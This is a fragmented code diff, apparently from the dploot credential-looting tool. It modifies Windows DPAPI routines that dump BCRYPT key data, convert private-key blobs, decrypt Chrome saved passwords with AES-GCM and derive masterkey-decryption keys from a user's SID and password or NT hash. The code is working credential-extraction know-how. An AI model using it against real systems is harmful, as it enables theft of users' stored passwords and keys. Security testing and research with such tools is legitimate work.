+
def dump(self):
|
|
141
|
+
print("[BCRYPT KEY DATA]")
|
|
142
|
+
print("Magic : %4x (%s)" % (self["Magic"], self["Magic"]))
|
|
143
|
+
print("Version : %4x (%d)" % (self["Version"], self["Version"]))
|
|
144
|
+
print("KeyLen : %4x (%d)" % (self["KeyLen"], self["KeyLen"]))
|
|
145
|
+
print("Key : %s" % hexlify(self["Key"]))
|
|
146
|
+
print("Remaining : %s" % hexlify(self["Remaining"]))
|
|
46
147
|
|
|
47
148
|
# https://github.com/SecureAuthCorp/impacket/pull/1120
|
|
48
149
|
# Private Decrypted Private Key
|
|
@@ -258,7 +359,7 @@ class PVKHeader(Structure):
|
|
|
258
359
|
|
|
259
360
|
def pvkblob_to_pkcs1(key):
|
|
260
361
|
"""
|
|
261
|
-
|
|
362
|
+
Modified from impacket dpapi.py
|
|
262
363
|
parse private key into pkcs#1 format
|
|
263
364
|
:param key:
|
|
264
365
|
:return:
|
|
@@ -280,12 +381,7 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
|
|
|
280
381
|
iv, payload = rest[:12], rest[12:]
|
|
281
382
|
cipher = AES.new(aeskey, AES.MODE_GCM, iv)
|
|
282
383
|
decrypted = cipher.decrypt(payload)
|
|
283
|
-
|
|
284
|
-
decrypted = decrypted[:-16]
|
|
285
|
-
elif version in (b"v20"):
|
|
286
|
-
decrypted = decrypted[32:]
|
|
287
|
-
decrypted = decrypted[:-16]
|
|
288
|
-
decrypted = decrypted.decode("utf-8")
|
|
384
|
+
decrypted = decrypted[:-16]
|
|
289
385
|
return decrypted or None
|
|
290
386
|
|
|
291
387
|
def deriveKeysFromUser(sid, password):
|
|
@@ -303,6 +399,8 @@ def deriveKeysFromUser(sid, password):
|
|
|
303
399
|
|
|
304
400
|
return key1, key2, key3
|
|
305
401
|
|
|
402
|
+
def byte_xor(ba1, ba2):
|
|
403
|
+
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2, strict=False)])
|
|
306
404
|
|
|
307
405
|
def deriveKeysFromUserkey(sid, nthash):
|
|
308
406
|
key1 = HMAC.new(nthash, (sid + "\0").encode("utf-16le"), SHA1).digest() # SHA1
|
|
@@ -141,7 +141,7 @@ def find_masterkey_for_credential_blob(
|
|
|
141
141
|
|
|
142
142
|
|
|
143
143
|
def decrypt_privatekey(
|
|
144
|
-
privatekey_bytes: bytes, masterkey: Any
|
|
144
|
+
privatekey_bytes: bytes, masterkey: Any
|
|
145
145
|
) -> RSA.RsaKey:
|
|
146
146
|
blob = PVKHeader(privatekey_bytes)
|
|
147
147
|
blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes)
|
|
@@ -152,7 +152,7 @@ def decrypt_privatekey(
|
|
|
152
152
|
|
|
153
153
|
|
|
154
154
|
def find_masterkey_for_privatekey_blob(
|
|
155
|
-
privatekey_bytes: bytes, masterkeys: List[Any]
|
|
155
|
+
privatekey_bytes: bytes, masterkeys: List[Any]
|
|
156
156
|
) -> "Any | None":
|
|
157
157
|
blob = PVKHeader(privatekey_bytes)
|
|
158
158
|
if len(blob["Remaining"]) == 0:
|
|
@@ -11,10 +11,10 @@ from dploot.lib.dpapi import decrypt_masterkey
|
|
|
11
11
|
|
|
12
12
|
|
|
13
13
|
class Masterkey:
|
|
14
|
-
def __init__(self, guid, blob = None, sid = None, key = None, sha1 = None, user: str = "None") -> None:
|
|
14
|
+
def __init__(self, guid, blob = None, sid:str = None, key = None, sha1 = None, user: str = "None") -> None:
|
|
15
15
|
self.guid = guid
|
|
16
16
|
self.blob = blob
|
|
17
|
-
self.sid = sid
|
|
17
|
+
self.sid = str(sid).upper()
|
|
18
18
|
self.user = user
|
|
19
19
|
|
|
20
20
|
self.key = key
|